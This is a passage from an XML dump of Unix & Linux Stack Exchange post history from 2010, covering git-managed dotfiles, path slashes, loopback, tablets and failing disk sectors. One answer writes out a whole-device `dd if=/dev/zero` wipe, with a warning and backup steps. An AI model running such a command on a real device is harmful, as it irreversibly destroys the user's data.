doesn't have this problem. The downside of that approach compared with having the home directory under version control is that you can't use `git status` to distinguish between a file that you've explicitly decided to ignore (which would be listed in the ignore file, so not displayed) and a file that you have no opinion about (which would be displayed with a `?`).&#xD;&#xA;&#xD;&#xA;Some files need to be different on different machines. I put them in a directory called `~/Local/SITENAME/lib` and either create symbolic links for them as well or (for file formats that support it) have an include directive in the file under `~/lib`. I also have a symbolic link `~/Here -&gt; ~/Local/SITENAME`. Since git, unlike CVS, is designed to support mostly-similar-but-not-identical repositories, there may be a better way to manage machine-specific files. A few of my dot files are in fact not symbolic links, but automatically generated from content under `~/lib` and `~/Here`.&#xD;&#xA;" />
  <row Id="3873" PostHistoryTypeId="6" PostId="1875" RevisionGUID="f91caf97-91b2-4cf4-9628-688ceaa1d403" CreationDate="2010-09-12T00:30:39.740" UserId="1207" Comment="edited tags" Text="ésettingsàégitàéversionöcontrolà" />
  <row Id="3874" PostHistoryTypeId="5" PostId="1882" RevisionGUID="252ba345-9ad4-4d6e-a01a-087101b198c0" CreationDate="2010-09-12T00:35:40.630" UserId="1078" Comment="added 586 characters in body" Text="I have `$HOME` under git. The first line of my .gitignore file is&#xD;&#xA;&#xD;&#xA;    /*&#xD;&#xA;&#xD;&#xA;The rest are patterns to not ignore using the `!` modifier. This first line means the default is to ignore all files in my home directory. Those files that I want to version control go into `.gitignore` like this:&#xD;&#xA;&#xD;&#xA;    !/.gitignore&#xD;&#xA;    !/.profile&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;A trickier pattern I have is:&#xD;&#xA;&#xD;&#xA;    !/.ssh&#xD;&#xA;    /.ssh/*&#xD;&#xA;    !/.ssh/config&#xD;&#xA;&#xD;&#xA;That is, I only want to version `.ssh/config` - I don't want my keys and other files in .ssh to go into git. The above is how I achieve that.&#xD;&#xA;&#xD;&#xA;Edit: Added slashes to start of all paths. This makes the ignore patterns match from the top of the repository ($HOME) instead of anywhere. For example, if `!lib/` was a pattern (dont ignore everything in the lib directory) and you add a file `.gitignore`, previously the pattern (`!.gitignore`) was matching that. With the leading slash (`!/.gitignore`), it will only match `.gitignore` in my home directory and not in any subdirectories.&#xD;&#xA;&#xD;&#xA;I haven't seen a case where this makes a practical difference with my ignore list, but it appears to me to be more technically accurate." />
  <row Id="3875" PostHistoryTypeId="2" PostId="1900" RevisionGUID="d6cb4a3f-b789-4379-a789-842a1cdb2395" CreationDate="2010-09-12T03:50:13.363" UserId="73" Text="" />
  <row Id="3876" PostHistoryTypeId="2" PostId="1901" RevisionGUID="df4216d1-481e-42a1-8eb5-d6536d71e64e" CreationDate="2010-09-12T03:50:13.363" UserId="73" Text="Linux is the family of Unix-like operating systems that use the Linux kernel." />
  <row Id="3877" PostHistoryTypeId="2" PostId="1902" RevisionGUID="53b5df41-0742-4b2a-9d38-626afef4cdee" CreationDate="2010-09-12T03:51:20.153" UserId="73" Text="" />
  <row Id="3878" PostHistoryTypeId="2" PostId="1903" RevisionGUID="f1102a3f-0505-42c7-b01e-2a6868639318" CreationDate="2010-09-12T03:51:20.153" UserId="73" Text="Unix is an operating system developed at Bell Labs" />
  <row Id="3879" PostHistoryTypeId="2" PostId="1904" RevisionGUID="5faea0d3-a845-4f3b-b6f8-8f49cafa167d" CreationDate="2010-09-12T04:51:46.447" UserId="1571" Text="You could try using dropbox&#xD;&#xA;&#xD;&#xA;http://www.dropbox.com/&#xD;&#xA;&#xD;&#xA;That's what I use. You could potentially mount /home to your dropbox folder. But I just have it in /home/dropbox and save all my settings and stuff to there. That way you don't have to svn pull or anything like that, the stuff is automatically synced" />
  <row Id="3880" PostHistoryTypeId="2" PostId="1905" RevisionGUID="d689dd49-41cc-46c3-9d3a-158b5e8b12ec" CreationDate="2010-09-12T05:40:10.317" UserId="1027" Text="Use Data Lifeguard Diagnostic for DOS (bootable CD) software available from [Western Digital site][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.wdc.com/product/download.asp?groupid=606&amp;sid=30&amp;lang=en" />
  <row Id="3881" PostHistoryTypeId="5" PostId="1883" RevisionGUID="8f89e7c5-b703-4b63-9ac6-c14f4ab44ccb" CreationDate="2010-09-12T06:29:52.433" UserId="73" Comment="added 65 characters in body" Text="1. Backup your data&#xD;&#xA;2. Remove this device from the LVM group&#xD;&#xA;3. `dd if=/dev/zero of=/dev/sdc bs=4k` -- this will **erase all data** on `/dev/sdc`&#xD;&#xA;4. Include it again into the LVM group&#xD;&#xA;5. Restore your backup" />
  <row Id="3885" PostHistoryTypeId="2" PostId="1907" RevisionGUID="e8fd2a77-3fd5-4fea-9d7f-44c22ad880e3" CreationDate="2010-09-12T08:55:29.733" UserId="649" Text="This will show what a process reads and writes:&#xD;&#xA;&#xD;&#xA;strace -ewrite -p $PID&#xD;&#xA;&#xD;&#xA;It's not clean output (shows lines like: write(#,) ), but works! (and is single-line :D ) You might also dislike the fact, that arguments are abbreviated. To control that use -s parameter that sets the maxlength of strings displayed.&#xD;&#xA;&#xD;&#xA;It catches all streams, so You might want to filter that somehow.&#xD;&#xA;&#xD;&#xA;You can filter it:&#xD;&#xA;&#xD;&#xA;strace -ewrite -p $PID 2&gt;&amp;1 | grep &quot;write(1&quot;&#xD;&#xA;&#xD;&#xA;shows only descriptor 1 calls. 2&gt;&amp;1 is to redirect stderr to stdout, as strace writes to stderr by default.&#xD;&#xA;" />
  <row Id="3887" PostHistoryTypeId="2" PostId="1909" RevisionGUID="69235c6a-cb89-43f6-b0e9-34d1af8136da" CreationDate="2010-09-12T08:58:25.780" UserId="1131" Text="[The Backup-Comparison of backup tools][1] at the Ubuntu-Stackexchange is not really Ubuntu-specific. Perhaps you get some suggestions there.&#xD;&#xA;&#xD;&#xA;I recommend [DAR - the Disk ARchive program][2]. It does not come with a GUI, but its config is easy to reproduce. It has great incremental backup support. It does not use hardlink mirror trees, but it has a convenient shell for navigating the filesystem view of different snapshots.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu.stackexchange.com/questions/2596/comparison-of-ubuntu-backup-tools/2903&#xD;&#xA;  [2]: http://dar.linux.free.fr/" />
  <row Id="3888" PostHistoryTypeId="2" PostId="1910" RevisionGUID="09e4b062-3b5a-4c0e-bf2c-2862be69919d" CreationDate="2010-09-12T08:59:01.363" UserId="1571" Text="I'm working on a python script that passes file locations to an scp subprocess. That's all fine, but I'm in a situation where I may end up concatenating a path with a filename such that there's a double '`/` in the path. I know that bash doesn't care if you have multiple file separators, but I'm wondering how exactly that is rectified. Is it bash that strips extra `/`s or does it really not matter ever?&#xD;&#xA;&#xD;&#xA;I ask because it will save me several lines of code to check for extra `/`s while concatenating. I know it's not a big deal, but I'm curious as well. " />
  <row Id="3889" PostHistoryTypeId="1" PostId="1910" RevisionGUID="09e4b062-3b5a-4c0e-bf2c-2862be69919d" CreationDate="2010-09-12T08:59:01.363" UserId="1571" Text="How linux handles multiple path separators (/home////username///file) " />
  <row Id="3890" PostHistoryTypeId="3" PostId="1910" RevisionGUID="09e4b062-3b5a-4c0e-bf2c-2862be69919d" CreationDate="2010-09-12T08:59:01.363" UserId="1571" Text="ébashàéfileà" />
  <row Id="3891" PostHistoryTypeId="2" PostId="1911" RevisionGUID="fda7f216-3006-4f72-9f75-74919fcc9178" CreationDate="2010-09-12T09:26:52.417" UserId="1327" Text="What is the **loopback** interface and how does it differ from the **eth0** interface? &#xD;&#xA;&#xD;&#xA;And why do I need to use it when *mounting an ISO* or running a service on localhost?" />
  <row Id="3892" PostHistoryTypeId="1" PostId="1911" RevisionGUID="fda7f216-3006-4f72-9f75-74919fcc9178" CreationDate="2010-09-12T09:26:52.417" UserId="1327" Text="What is the loopback interface" />
  <row Id="3893" PostHistoryTypeId="3" PostId="1911" RevisionGUID="fda7f216-3006-4f72-9f75-74919fcc9178" CreationDate="2010-09-12T09:26:52.417" UserId="1327" />
  <row Id="3894" PostHistoryTypeId="4" PostId="1879" RevisionGUID="273bc26f-d628-4d6d-be65-94157ff77f45" CreationDate="2010-09-12T09:44:02.093" UserId="1327" Comment="changed title to reflect question &amp; answer" Text="iptables does not list rules i have created" />
  <row Id="3895" PostHistoryTypeId="6" PostId="1881" RevisionGUID="aec4b3ef-be4c-4cb5-90f9-54455d17a573" CreationDate="2010-09-12T09:47:10.213" UserId="1327" Comment="added vnc tag" Text="éosxàéxorgàévncàéxforwardingà" />
  <row Id="3896" PostHistoryTypeId="2" PostId="1912" RevisionGUID="eeee991f-2c68-4820-b411-051d2cf75846" CreationDate="2010-09-12T09:55:54.250" UserId="1631" Text="The loopback networking interface is a virtual network device implemented entirely in software.  All traffic sent to it &quot;loops back&quot; and just targets services on your local machine.&#xD;&#xA;&#xD;&#xA;eth0 tends to be the name of the first hardware network device (on linux, at least), and will send network traffic to remote machines.  You might see it as en0, ent0, et0, or various other names depending on which OS you're using at the time.  (It could also be a virtual device, but that's another topic)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The loopback option used when mounting an ISO image has nothing to do with the networking interface, it just means that the mount command has to first associate the file with a device node (/dev/loopback or something with a similar name) before mounting it to the target directory.  It &quot;loops back&quot; reads (and writes, if supported) to a file on an existing mount, instead of using a device directly." />
  <row Id="3897" PostHistoryTypeId="2" PostId="1913" RevisionGUID="7d038ec6-7076-4d83-badf-b5d66ccb1282" CreationDate="2010-09-12T10:10:25.063" UserId="1631" Text="The OS doesn't appear to care about it either, having just tried out a C program with a direct syscall to open with a // in the path.&#xD;&#xA;&#xD;&#xA;You can use the python library function os.path.normpath to normalize it though, which saves you having to scan through the string looking for extras.  Other languages have similar functions.&#xD;&#xA;&#xD;&#xA;http://docs.python.org/library/os.path.html#os.path.normpath" />
  <row Id="3899" PostHistoryTypeId="2" PostId="1915" RevisionGUID="ef348c8a-14e3-4059-8044-dffe785caa63" CreationDate="2010-09-12T10:55:42.983" UserId="1639" Text="The DHCP server never updates the DNS server anyway, at least for ones I've used.   What happens is that the DHCP *client* obtains the IP address (and potentially hostname) from the DHCP server and then *itself* tries to update the DNS server." />
  <row Id="3903" PostHistoryTypeId="2" PostId="1916" RevisionGUID="db551c3a-4167-4d2d-924d-5102dfe2e2b5" CreationDate="2010-09-12T11:00:40.353" UserId="1639" Text="You should be able to just modify your BIOS boot order settings to make the BIOS check the CD-ROM drive before the hard disk.   It's that simple, usually." />
  <row Id="3905" PostHistoryTypeId="6" PostId="1911" RevisionGUID="b218bedf-6e0d-4fee-9028-749857995163" CreationDate="2010-09-12T11:05:54.713" UserId="29" Comment="add tags" Text="ékernelàénetworkingàémountà" />
  <row Id="3906" PostHistoryTypeId="2" PostId="1918" RevisionGUID="e594a1b2-5c63-4f5e-9d7d-a25b8efa14f2" CreationDate="2010-09-12T11:37:14.397" UserId="1327" Text="When I connect my laptop to a **wpa2** secured router, using **[wicd][1]** I don't have any connection problems. &#xD;&#xA;&#xD;&#xA;**BUT** when I connect with the following command-line command ( as outlined [here][1] )&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -B -Dwext -i wlan0 -c /etc/wpa_supplicant.conf&#xD;&#xA;&#xD;&#xA;My connection is unstabble, sometimes working sometimes not, indicated by the output *similiar ( output reconstructed from memory )* to the following:&#xD;&#xA;&#xD;&#xA;    $ ping 10.0.0.2&#xD;&#xA;    PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=1 ttl=62 time=1.71 ms&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=2 ttl=62 time=1.59 ms&#xD;&#xA;    From 192.168.0.2 icmp_seq=3 Destination Host Unreachable&#xD;&#xA;    From 192.168.0.2 icmp_seq=4 Destination Host Unreachable&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=5 ttl=62 time=1.71 ms&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=6 ttl=62 time=1.59 ms&#xD;&#xA;    From 192.168.0.2 icmp_seq=7 Destination Host Unreachable&#xD;&#xA;    From 192.168.0.2 icmp_seq=8 Destination Host Unreachable&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=9 ttl=62 time=1.71 ms&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=10 ttl=62 time=1.59 ms&#xD;&#xA;&#xD;&#xA;[1]: http://wicd.sourceforge.net/&#xD;&#xA;[2]: http://wiki.archlinux.org/index.php/WPA_Supplicant" />
  <row Id="3907" PostHistoryTypeId="1" PostId="1918" RevisionGUID="e594a1b2-5c63-4f5e-9d7d-a25b8efa14f2" CreationDate="2010-09-12T11:37:14.397" UserId="1327" Text="wireless wpa connection stability" />
  <row Id="3908" PostHistoryTypeId="3" PostId="1918" RevisionGUID="e594a1b2-5c63-4f5e-9d7d-a25b8efa14f2" CreationDate="2010-09-12T11:37:14.397" UserId="1327" Text="éarchölinuxàéwpaösupplicantà" />
  <row Id="3909" PostHistoryTypeId="2" PostId="1919" RevisionGUID="b269f2ec-0980-49f0-aee2-db9e13078f0a" CreationDate="2010-09-12T11:46:16.703" UserId="885" Text="Multiple slashes are allowed and are equivalent to a single slash. From the [Single Unix specification (version 3)](http://www.opengroup.org/onlinepubs/009695399/), [base definitions §3.266 pathname](http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_266): “Multiple successive slashes are considered to be the same as one slash.”&#xD;&#xA;&#xD;&#xA;There is one exception: if a pathname starts with exactly two slashes, it may be treated differently (ref: [base definitions §4.11 pathname resolution](http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap04.html#tag_04_11)). Linux itself doesn't do this, though some applications might, and other unix-ish system do (e.g. Cygwin). &#xD;&#xA;&#xD;&#xA;A trailing `/` at the end of a pathname forces the pathname to refer to a directory ([base definitions §4.11 pathname resolution](http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap04.html#tag_04_11) makes it equivalent to a trailing `/.`). For programs that act on a directory entry, if `foo` is a symbolic link to a directory, then passing `foo/` is a way to make the program act on the directory instead of the symbolic link.&#xD;&#xA;" />
  <row Id="3910" PostHistoryTypeId="5" PostId="1739" RevisionGUID="575208c1-54ad-4411-a386-d496b38976ef" CreationDate="2010-09-12T12:22:34.963" UserId="1257" Comment="edited body" Text="Here are a couple of T-shirt slogans:&#xD;&#xA;&#xD;&#xA;There is no place like ~&#xD;&#xA;&#xD;&#xA;My favorite:  &#xD;&#xA;Thou shalt not kill -9" />
  <row Id="3911" PostHistoryTypeId="2" PostId="1920" RevisionGUID="707a4f73-3c16-4dcb-b252-d4f527ec5a27" CreationDate="2010-09-12T12:26:52.720" UserId="1131" Text="Well, I am feeling to old for jumping through several burning hoops to upgrade several firmwares via the usual vendor-specific way: Download some DOS tools, waste some time creating a (Free-)DOS boot medium and wasting more time to make the BIOS actually boot from that and finally flash the firmware upgrade.&#xD;&#xA;&#xD;&#xA;This is so 1980-ies.&#xD;&#xA;&#xD;&#xA;I come across some [linux flash tool][1] flash tool from the [Coreboot project][2]. It seems to support various FLASH-chips. But how does it work in practice?&#xD;&#xA;&#xD;&#xA;I guess there are some pitfalls converting vendor supplied firmware upgrades into the right format. Or what about indentifying the right destination chip?&#xD;&#xA;&#xD;&#xA;Currently I probably have to upgrade for example:&#xD;&#xA;&#xD;&#xA;* the firmware of some Seagate 1.5 TB disks&#xD;&#xA;* the firmware of an old Abit Athlon 64 board (Award bios)&#xD;&#xA;* Bios/Embedded-Controller-Bios of a Thinkpad&#xD;&#xA;&#xD;&#xA;How do you upgrade your devices firmware at a Linux system?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.flashrom.org/&#xD;&#xA;  [2]: http://www.coreboot.org/" />
  <row Id="3912" PostHistoryTypeId="1" PostId="1920" RevisionGUID="707a4f73-3c16-4dcb-b252-d4f527ec5a27" CreationDate="2010-09-12T12:26:52.720" UserId="1131" Text="How to flash firmware under Linux in practice?" />
  <row Id="3913" PostHistoryTypeId="3" PostId="1920" RevisionGUID="707a4f73-3c16-4dcb-b252-d4f527ec5a27" CreationDate="2010-09-12T12:26:52.720" UserId="1131" Text="élinuxàéhardwareàéfirmwareàébiosà" />
  <row Id="3914" PostHistoryTypeId="2" PostId="1921" RevisionGUID="a44d07c4-5348-40e6-b2ce-235a84e28fec" CreationDate="2010-09-12T12:34:48.167" UserId="1131" Text="What are good external tablet input devices for Linux?&#xD;&#xA;&#xD;&#xA;It should be used for more convenient use of Inkscape and Gimp.&#xD;&#xA;&#xD;&#xA;Some characteristics that are useful, I guess:&#xD;&#xA;&#xD;&#xA;* connected via USB&#xD;&#xA;* included pen with some buttons&#xD;&#xA;* tablet should only be sensitive to pen touches&#xD;&#xA;* Open-source drivers (a must)&#xD;&#xA;* some OS engagement by the vendor&#xD;&#xA;&#xD;&#xA;Open questions:&#xD;&#xA;&#xD;&#xA;* What are good sizes of such tablets in practice?&#xD;&#xA;* Is there is some good guide how to setup it under Linux/X?&#xD;&#xA;* What are other great programs that are really easier to use with a tablet?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3915" PostHistoryTypeId="1" PostId="1921" RevisionGUID="a44d07c4-5348-40e6-b2ce-235a84e28fec" CreationDate="2010-09-12T12:34:48.167" UserId="1131" Text="Extrenal tablet input devices for Linux (inkscape/gimp)?" />
  <row Id="3916" PostHistoryTypeId="3" PostId="1921" RevisionGUID="a44d07c4-5348-40e6-b2ce-235a84e28fec" CreationDate="2010-09-12T12:34:48.167" UserId="1131" Text="éxorgàéhardwareàéhardwareöcompatibilityàéinputà" />
  <row Id="3917" PostHistoryTypeId="4" PostId="1921" RevisionGUID="eae2428d-c6b6-48c9-b5b6-2206bd6d5ffd" CreationDate="2010-09-12T12:42:37.463" UserId="1131" Comment="typo" Text="External tablet input devices for Linux (Inkscape/Gimp)?" />
  <row Id="3918" PostHistoryTypeId="5" PostId="405" RevisionGUID="db018fc2-d874-4a03-8c2a-c7131d9d7500" CreationDate="2010-09-12T12:47:28.230" UserId="1131" Comment="link" Text="I'm always looking for podcasts that can help me keep up with operating systems and development. That said, I typically listen to the [Linux Outlaws podcast][1], but was wondering if there are other Linux/Unix podcasts that many of you find helpful or informative, both with learning Linux or keeping up with the changes to it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxoutlaws.com/" />
  <row Id="3919" PostHistoryTypeId="6" PostId="405" RevisionGUID="db018fc2-d874-4a03-8c2a-c7131d9d7500" CreationDate="2010-09-12T12:47:28.230" UserId="1131" Comment="link" Text="élearningà" />
  <row Id="3920" PostHistoryTypeId="2" PostId="1922" RevisionGUID="b1d38ea4-fbda-4e87-a8fe-c99533b3013a" CreationDate="2010-09-12T13:51:31.630" UserId="1339" Text="I and friends of mine made some good experiences with the tablets from [Wacom][1].&#xD;&#xA;&#xD;&#xA;The [Bamboo series][2] contains different tablets in different pricing categories.&#xD;&#xA;&#xD;&#xA;My Bamboo for example is **connected via USB**, the **pen as 2 Buttons**, the tablet is **only sensitive to the pen**, has some more buttons and **works with my linux out of the box**.&#xD;&#xA;So this should satisfy your needs.&#xD;&#xA;&#xD;&#xA;Wacom supports Windows, Mac OS X and Linux without any problems as far as I know.&#xD;&#xA;They link to the [Linux Wacom Project][3] on their [official homepage for driver support][4].&#xD;&#xA;&#xD;&#xA;After a little configuration of the input devices it works pressure sensitive with Gimp.&#xD;&#xA;For advanced configuration of all tablet buttons and touch sensitive areas theres the [Wacom ExpressKeys][5] project, which also works fine under the different distributions.&#xD;&#xA;&#xD;&#xA;To your questions:&#xD;&#xA;&#xD;&#xA;&gt; What are good sizes of such tablets in&#xD;&#xA;&gt; practice?&#xD;&#xA;&#xD;&#xA;This totally depends on your usage of the tablet. Are you just using it as an addition to your mouse? Are you gonna start some kind of digital painting? etc.&#xD;&#xA;A common size for the &quot;drawing&quot; area of those tablets is ~ *5.8&quot; x 3.6&quot;*. This should work fine for the average usage.&#xD;&#xA;&#xD;&#xA;More important than the size is IMHO the resolution and pressure levels the tablet supports, because this will influent your work. Keep this in your mind when you are comparing tablets.&#xD;&#xA;&#xD;&#xA;&gt; Is there is some good guide how to&#xD;&#xA;&gt; setup it under Linux/X?&#xD;&#xA;&#xD;&#xA;The Linux Wacom Project maintains a nice [Howto][6] to that topic.&#xD;&#xA;Also there are several guides based more ore less on the used distribution, e.g. [ARCH][7] and [Ubuntu][8].&#xD;&#xA;&#xD;&#xA;&gt; What are other great programs that are&#xD;&#xA;&gt; really easier to use with a tablet?&#xD;&#xA;&#xD;&#xA;I often use my tablet also for audio processing. The editing of different audio tracks with a pen feels much more natural for me.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wacom.com/&#xD;&#xA;  [2]: http://www.wacom.com/bamboo/index.php&#xD;&#xA;  [3]: http://linuxwacom.sourceforge.net/&#xD;&#xA;  [4]: http://www.wacom.com/productsupport/linux.cfm&#xD;&#xA;  [5]: http://freshmeat.net/projects/wacomexpresskeys/&#xD;&#xA;  [6]: http://linuxwacom.sourceforge.net/index.php/howto/main&#xD;&#xA;  [7]: http://wiki.archlinux.org/index.php/Wacom_Tablet&#xD;&#xA;  [8]: https://help.ubuntu.com/community/Wacom" />
  <row Id="3921" PostHistoryTypeId="2" PostId="1923" RevisionGUID="f192c15f-753c-42b7-9bd1-8e68e28711a5" CreationDate="2010-09-12T13:51:51.147" UserId="29" Text="I know some distro's (moblin?) have X starting as a user other than root already... what is required to do this? what steps need to be taken?&#xD;&#xA;&#xD;&#xA;*I don't think it matters but I think X is started by KDM on my system and I'm running Arch Linux*" />
  <row Id="3922" PostHistoryTypeId="1" PostId="1923" RevisionGUID="f192c15f-753c-42b7-9bd1-8e68e28711a5" CreationDate="2010-09-12T13:51:51.147" UserId="29" Text="Start X as a user other than root" />
  <row Id="3923" PostHistoryTypeId="3" PostId="1923" RevisionGUID="f192c15f-753c-42b7-9bd1-8e68e28711a5" CreationDate="2010-09-12T13:51:51.147" UserId="29" Text="ésecurityàéxorgàéprocessà" />
  <row Id="3924" PostHistoryTypeId="2" PostId="1924" RevisionGUID="66091968-6a56-42eb-8bb7-a53869607f58" CreationDate="2010-09-12T14:00:06.400" UserId="65" Text="I need one process run before log in  to system. how to run it like services?(how to make services in Linux?) " />
  <row Id="3925" PostHistoryTypeId="1" PostId="1924" RevisionGUID="66091968-6a56-42eb-8bb7-a53869607f58" CreationDate="2010-09-12T14:00:06.400" UserId="65" Text="Start up in linux" />
  <row Id="3926" PostHistoryTypeId="3" PostId="1924" RevisionGUID="66091968-6a56-42eb-8bb7-a53869607f58" CreationDate="2010-09-12T14:00:06.400" UserId="65" Text="éstartupà" />
  <row Id="3927" PostHistoryTypeId="2" PostId="1925" RevisionGUID="6e585d0f-3ebe-4899-8f7c-8921ffed6339" CreationDate="2010-09-12T14:00:15.363" UserId="1620" Text="Most programs allow you to specify a path to the configuration file on the command line. So you could write a wrapper that takes a standard configuration file, filters it to substitute things like `$HOME` for the current user, and then passes the modified, temporary configuration file to the program." />
  <row Id="3928" PostHistoryTypeId="2" PostId="1926" RevisionGUID="d6ec9ba4-5910-498d-b339-fe031855736f" CreationDate="2010-09-12T14:03:57.423" UserId="912" Text="    $ mail&#xD;&#xA;    No mail for lazer&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;Why doesn't mail show me my mails?&#xD;&#xA;&#xD;&#xA;  - I am able to send mails using `mail`.&#xD;&#xA;  - I have unread mails in my inbox as I can see in Outlook." />
  <row Id="3929" PostHistoryTypeId="1" PostId="1926" RevisionGUID="d6ec9ba4-5910-498d-b339-fe031855736f" CreationDate="2010-09-12T14:03:57.423" UserId="912" Text="Why doesn't mail show me my mails?" />
  <row Id="3930" PostHistoryTypeId="3" PostId="1926" RevisionGUID="d6ec9ba4-5910-498d-b339-fe031855736f" CreationDate="2010-09-12T14:03:57.423" UserId="912" Text="élinuxàéunixàémailàéemailà" />
  <row Id="3932" PostHistoryTypeId="2" PostId="1928" RevisionGUID="7361845b-e2b7-4255-8f65-05b395d62134" CreationDate="2010-09-12T14:45:58.920" UserId="1620" Text="A pending unreadable sector is one that returned a read error and which the drive has marked for remapping at the first possible opportunity. However, it can't do the remapping until one of two things happens:&#xD;&#xA;&#xD;&#xA; 1. The sector is reread successfully&#xD;&#xA; 2. The sector is rewritten&#xD;&#xA;&#xD;&#xA;Until then, the sector remains pending. So you have two corresponding ways to deal with this:&#xD;&#xA;&#xD;&#xA; 1. Keep trying to reread the sector until you succeed&#xD;&#xA; 2. Overwrite that sector with new data&#xD;&#xA;&#xD;&#xA;Obviously, (1) is non-destructive, so you should probably try it first, although keep in mind that if the drive is starting to fail in a serious way then continual reading from a bad area is likely to make it fail much more quickly. If you have a lot of pending sectors and other errors, and you care about the data on the drive, I recommend taking it out of service and using the excellent tool [ddrescue][1] to recover as much data as possible. Then discard the drive.&#xD;&#xA;&#xD;&#xA;If the sector in question contains data you don't care about, or can restore from a backup, then overwriting it is probably the quickest and simplest solution. You can then view the reallocated and pending counts for the drive to make sure the sector was taken care of.&#xD;&#xA;&#xD;&#xA;How do you find out what the sector corresponds to in the filesystem? I found an excellent article on the *smartmontools* web site, [here][2], although it's fairly technical and is specific to ext2/3/4 and reiser file systems.&#xD;&#xA;&#xD;&#xA;A simpler approach, which I used on one of my own (Mac) drives, is to use `find` to read every file on the system. Make a note of the pending count before running this. If the sector is inside a file, you will get an error message from the tool you used to read the files (eg md5sum) showing you the path to it. You can then focus your attentions on re-reading just this file until it reads successfully. Often this will solve the problem, if it's an infrequently-used file which just needed to be reread a few times. If the error goes away, or you don't encounter any errors in reading all the files, check the pending count to see if it's decreased. If it has, the problem was solved by reading.&#xD;&#xA;&#xD;&#xA;If the file cannot be read successfully after multiple tries (eg 20) then you need to overwrite the file, or the block within the file, to allow the drive to reallocate the sector. You can use ddrescue on the file (rather than the partition) to overwrite just the one sector, by copying to a temporary file and then copying back again. Note that just removing the file at this point is a bad idea, because the bad sector will go into the free list where it will be harder to find. Completely overwriting it is bad too, because again the sectors will go into the free list. You need to rewrite the existing blocks. The `notrunc` option of `dd` is one way to do this.&#xD;&#xA;&#xD;&#xA;If you encounter no errors, and the pending count did not decrease, then the sector must be in the freelist or in part of the filesystem infrastructure (eg an inode table). You can try filling up all the free space with dd if=/dev/zero, and then check the pending count. If it goes down, the problem was in the free list and has now gone away.&#xD;&#xA;&#xD;&#xA;If the sector is in the infrastructure, you have a more serious problem, and you will probably encounter errors just walking the directory tree. In this situation, I think the only sensible solution is to reformat the drive, optionally using ddrescue to recover data if necessary.&#xD;&#xA;&#xD;&#xA;Keep a very close eye on the drive. Sector reallocation is a very good [canary in the coal mine][3], potentially giving you early warning of a drive that is failing. By taking early action you can prevent a later catastrophic and very painful landslide. I'm not suggesting that a few sector reallocations are an indication that you should discard the drive. All modern drives need to do some reallocation. However, if the drive isn't very old (&lt; 1 yr) or you are getting frequent new reallocations (&gt; 1/month) then I recommend you replace it asap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/ddrescue/ddrescue.html&#xD;&#xA;  [2]: http://smartmontools.sourceforge.net/badblockhowto.html&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Animal_sentinels" />
  <row Id="3933" PostHistoryTypeId="5" PostId="1928" RevisionGUID="aca4971b-ce1b-47cb-b287-a7539dd69bb5" CreationDate="2010-09-12T15:43:20.470" UserId="1620" Comment="Clarify command to fill up freespace" Text="A pending unreadable sector is one that returned a read error and which the drive has marked for remapping at the first possible opportunity. However, it can't do the remapping until one of two things happens:&#xD;&#xA;&#xD;&#xA; 1. The sector is reread successfully&#xD;&#xA; 2. The sector is rewritten&#xD;&#xA;&#xD;&#xA;Until then, the sector remains pending. So you have two corresponding ways to deal with this:&#xD;&#xA;&#xD;&#xA; 1. Keep trying to reread the sector until you succeed&#xD;&#xA; 2. Overwrite that sector with new data&#xD;&#xA;&#xD;&#xA;Obviously, (1) is non-destructive, so you should probably try it first, although keep in mind that if the drive is starting to fail in a serious way then continual reading from a bad area is likely to make it fail much more quickly. If you have a lot of pending sectors and other errors, and you care about the data on the drive, I recommend taking it out of service and using the excellent tool [ddrescue][1] to recover as much data as possible. Then discard the drive.&#xD;&#xA;&#xD;&#xA;If the sector in question contains data you don't care about, or can restore from a backup, then overwriting it is probably the quickest and simplest solution. You can then view the reallocated and pending counts for the drive to make sure the sector was taken care of.&#xD;&#xA;&#xD;&#xA;How do you find out what the sector corresponds to in the filesystem? I found an excellent article on the *smartmontools* web site, [here][2], although it's fairly technical and is specific to ext2/3/4 and reiser file systems.&#xD;&#xA;&#xD;&#xA;A simpler approach, which I used on one of my own (Mac) drives, is to use `find / -xdev -type f -print0 | xargs -0 ...` to read every file on the system. Make a note of the pending count before running this. If the sector is inside a file, you will get an error message from the tool you used to read the files (eg md5sum) showing you the path to it. You can then focus your attentions on re-reading just this file until it reads successfully. Often this will solve the problem, if it's an infrequently-used file which just needed to be reread a few times. If the error goes away, or you don't encounter any errors in reading all the files, check the pending count to see if it's decreased. If it has, the problem was solved by reading.&#xD;&#xA;&#xD;&#xA;If the file cannot be read successfully after multiple tries (eg 20) then you need to overwrite the file, or the block within the file, to allow the drive to reallocate the sector. You can use ddrescue on the file (rather than the partition) to overwrite just the one sector, by copying to a temporary file and then copying back again. Note that just removing the file at this point is a bad idea, because the bad sector will go into the free list where it will be harder to find. Completely overwriting it is bad too, because again the sectors will go into the free list. You need to rewrite the existing blocks. The `notrunc` option of `dd` is one way to do this.&#xD;&#xA;&#xD;&#xA;If you encounter no errors, and the pending count did not decrease, then the sector must be in the freelist or in part of the filesystem infrastructure (eg an inode table). You can try filling up all the free space with `cat /dev/zero &gt;tempfile`, and then check the pending count. If it goes down, the problem was in the free list and has now gone away.&#xD;&#xA;&#xD;&#xA;If the sector is in the 